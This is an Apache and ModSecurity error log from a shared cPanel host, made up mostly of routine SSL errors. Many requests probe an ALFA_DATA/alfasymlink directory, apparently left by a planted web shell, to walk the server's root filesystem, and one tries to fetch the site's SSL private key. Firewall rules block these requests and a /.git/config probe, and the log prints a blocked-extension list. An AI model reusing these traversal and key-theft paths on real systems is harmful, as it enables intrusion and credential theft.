[Mon Oct 26 19:04:56.170394 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.21.62.139:5710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:05:07.440540 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.217.82.254:52771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:05:11.473852 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 44.215.231.15:16828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:05:27.805116 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.147.182.90:9461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:05:31.535644 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 3.225.45.252:54243] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/subsystem/event0/subsystem/input5/device/driver/unbind
[Mon Oct 26 19:05:54.909542 2026] [security2:error] [pid 3083765:tid 3083765] [client 144.172.105.154:59234] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_c0qFL9aMETz-8AU8gVAAAAAQ"], referer: http://sesion2.sherwinpinturas.com/.git/config
[Mon Oct 26 19:05:54.909992 2026] [security2:error] [pid 3083765:tid 3083765] [client 144.172.105.154:59234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_c0qFL9aMETz-8AU8gVAAAAAQ"], referer: http://sesion2.sherwinpinturas.com/.git/config
[Mon Oct 26 19:05:54.910575 2026] [security2:error] [pid 3083765:tid 3083765] [client 144.172.105.154:59234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_c0qFL9aMETz-8AU8gVAAAAAQ"], referer: http://sesion2.sherwinpinturas.com/.git/config
[Mon Oct 26 19:06:04.506553 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 107.23.62.75:49352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:06:07.747346 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.84.93.8:31758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:06:08.562716 2026] [security2:error] [pid 3113375:tid 3113375] [client 43.152.72.244:55926] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at_c4LFVcNHq_I-IXO77uQAAAAM"]
[Mon Oct 26 19:06:08.564314 2026] [authz_core:error] [pid 3113375:tid 3113375] [client 43.152.72.244:55926] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 19:06:20.065321 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.4.229.9:60825] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:06:35.682304 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.200.54.136:8287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:06:39.766398 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.212.205.90:30943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:06:43.436706 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.204.150.196:25481] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:06:47.505937 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 35.169.119.108:28492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:06:51.416273 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.225.45.252:54651] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:07:03.674121 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.73.6.26:26796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:07:07.579210 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.204.174.139:43699] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:07:11.618846 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.209.187.99:56758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:07:15.449199 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.198:51620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/reclaim_account
[Mon Oct 26 19:07:15.619031 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.194.226.74:49008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:07:19.371925 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 100.24.167.60:21235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:07:27.369579 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.73.6.26:62048] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:07:47.201080 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.91.122.193:52288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:07:57.381977 2026] [authz_core:error] [pid 3098113:tid 3098113] [client 66.240.236.116:32910] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 19:08:03.187808 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.221.105.234:60164] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:08:07.406236 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.205.180.155:9026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:08:15.326341 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 54.225.148.123:8532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:08:20.294129 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.233.24.238:2734] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:08:23.022805 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 100.29.34.97:12013] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:08:26.895397 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 98.82.59.253:56699] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource4
[Mon Oct 26 19:08:31.174620 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.222.190.107:20855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:08:35.063335 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 107.20.224.184:2627] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:11/subsystem/drivers/button/unbind
[Mon Oct 26 19:08:39.805028 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 18.214.124.6:6259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:08:42.863990 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.0.41.164:25856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:08:50.865953 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.28.57.133:59258] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:08:58.746113 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 44.197.76.210:36526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:09:18.929796 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.195.248.30:31635] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:09:26.548864 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.205.170.13:18700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:09:31.750523 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 85.208.96.198:18022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/objs_per_slab
[Mon Oct 26 19:09:54.313934 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.84.102.81:49415] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:09:58.267669 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 34.235.239.240:60761] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/subsystem/drivers/hpet/uevent
[Mon Oct 26 19:10:10.219777 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.227.234.246:54308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:10:26.224559 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.6.232.201:19845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:10:30.196794 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.205.91.101:27910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:10:38.191498 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 3.211.105.134:60408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:10:42.176440 2026] [ssl:error] [pid 3117422:tid 3117422] (70014)End of file found: [client 54.198.33.233:64205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:11:02.222646 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.200.93.170:5232] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:11:18.340878 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.3.104.214:25357] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:11:22.377945 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 3.210.29.96:60175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/ttyS0/device/tty/ttyS2/line
[Mon Oct 26 19:11:42.372100 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.0.63.151:65405] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_rng/uevent
[Mon Oct 26 19:11:46.161155 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.217.255.167:8790] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:11:50.532393 2026] [ssl:error] [pid 3117422:tid 3117422] (70014)End of file found: [client 52.4.229.9:29987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:11:57.585294 2026] [core:crit] [pid 3117426:tid 3117426] (13)Permission denied: [client 43.135.139.165:52240] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 19:12:02.189623 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 35.169.102.85:61328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/tty3/subsystem/ttyS0/xmit_fifo_size
[Mon Oct 26 19:12:10.268074 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 52.45.29.57:31721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/uevent
[Mon Oct 26 19:12:14.159580 2026] [ssl:error] [pid 3117422:tid 3117422] (70014)End of file found: [client 98.82.38.120:39645] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:12:22.343804 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 44.207.69.106:14592] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:12:30.244398 2026] [security2:error] [pid 3098114:tid 3098114] [client 23.21.179.120:20489] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/subsystem/"] [unique_id "at_eXoU8RArHmY5bTmWuNgAAAAY"]
[Mon Oct 26 19:12:30.244466 2026] [security2:error] [pid 3098114:tid 3098114] [client 23.21.179.120:20489] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/subsystem/"] [unique_id "at_eXoU8RArHmY5bTmWuNgAAAAY"]
[Mon Oct 26 19:12:34.248048 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.212.205.90:13776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:12:38.422865 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 184.73.35.182:25608] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:12:42.249515 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.4.229.9:32049] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:12:50.271906 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.210.58.238:51658] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:12:54.166019 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.226.34.98:20083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:12:58.232621 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 23.23.103.31:10474] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:13:06.212065 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.83.23.103:11636] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:13:10.142479 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.44.174.136:9661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:13:15.380276 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 35.171.117.160:6567] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:13:26.154044 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 54.83.180.239:61002] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:13:30.148972 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.213.106.226:52417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:13:34.143038 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.210.114.189:12050] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:13:38.268888 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.2.83.227:61532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:13:46.144395 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.156.55.147:12222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:14:05.039311 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 85.208.96.212:61234] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/poison
[Mon Oct 26 19:14:06.383278 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.71.203.206:56277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:14:09.916567 2026] [security2:error] [pid 3084053:tid 3084053] [client 85.208.96.208:12854] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b26dc_7889b_2357a922a3e68bdfa1d8aacc22262132.key"] [unique_id "at_ewfCtl1PgaN9A_9xMOgAAADQ"]
[Mon Oct 26 19:14:09.916963 2026] [security2:error] [pid 3084053:tid 3084053] [client 85.208.96.208:12854] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b26dc_7889b_2357a922a3e68bdfa1d8aacc22262132.key"] [unique_id "at_ewfCtl1PgaN9A_9xMOgAAADQ"]
[Mon Oct 26 19:14:09.917795 2026] [security2:error] [pid 3084053:tid 3084053] [client 85.208.96.208:12854] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b26dc_7889b_2357a922a3e68bdfa1d8aacc22262132.key"] [unique_id "at_ewfCtl1PgaN9A_9xMOgAAADQ"]
[Mon Oct 26 19:14:18.159696 2026] [ssl:error] [pid 3112229:tid 3112229] (5)Input/output error: [client 52.205.113.104:40105] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:14:22.157798 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.54.157.23:33296] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:14:34.212441 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.214.19.8:50758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:14:38.344522 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 52.6.97.88:60459] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:14:42.367149 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.218.170.184:52179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:14:46.228379 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 54.162.69.192:28094] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:14:50.271881 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.4.229.9:45019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:15:02.174206 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 3.225.9.97:22715] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/driver/cpu1/crash_notes_size
[Mon Oct 26 19:15:10.234854 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 34.225.87.80:44392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/thunderbolt/unbind
[Mon Oct 26 19:15:14.159430 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 54.85.126.86:39916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/remove_id
[Mon Oct 26 19:15:17.069739 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 185.191.171.3:42882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_tables/sections/__mcount_loc
[Mon Oct 26 19:15:18.141932 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 35.153.86.200:25748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:15:22.133701 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.204.253.129:24580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:15:26.292920 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.236.41.241:11585] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:15:34.134331 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.227.156.153:51979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:15:38.156631 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 35.171.117.160:11898] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:15:54.294717 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.227.180.70:21022] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:15:58.215976 2026] [ssl:error] [pid 3117428:tid 3117428] (5)Input/output error: [client 44.207.252.58:49826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:02.246020 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.209.89.189:26281] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:06.173293 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.211.148.239:46048] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:10.211515 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 54.80.185.200:15169] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/virtio2/driver/uevent
[Mon Oct 26 19:16:14.243497 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 23.23.99.55:52893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:16.311632 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 85.208.96.201:60130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:18.165741 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.82.59.253:65142] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:23.581525 2026] [security2:error] [pid 3098114:tid 3098114] [client 43.157.50.58:48420] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at_fR4U8RArHmY5bTmWuPAAAAAY"]
[Mon Oct 26 19:16:23.583072 2026] [authz_core:error] [pid 3098114:tid 3098114] [client 43.157.50.58:48420] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 19:16:30.269134 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 98.83.72.38:21546] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:34.155004 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.221.37.41:48633] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:38.176632 2026] [security2:error] [pid 3113375:tid 3113375] [client 54.84.147.79:1779] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/node/node0/memory13/"] [unique_id "at_fVrFVcNHq_I-IXO77zQAAAAM"]
[Mon Oct 26 19:16:38.176666 2026] [security2:error] [pid 3113375:tid 3113375] [client 54.84.147.79:1779] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/node/node0/memory13/"] [unique_id "at_fVrFVcNHq_I-IXO77zQAAAAM"]
[Mon Oct 26 19:16:42.170074 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 23.23.212.212:64820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:46.215280 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 23.23.214.190:21793] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:16:59.581145 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 185.191.171.11:49634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:17:06.243008 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.202.88.37:53508] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:17:10.150608 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.211.39.188:54502] AH02013: coalesce failed to read from data bucket
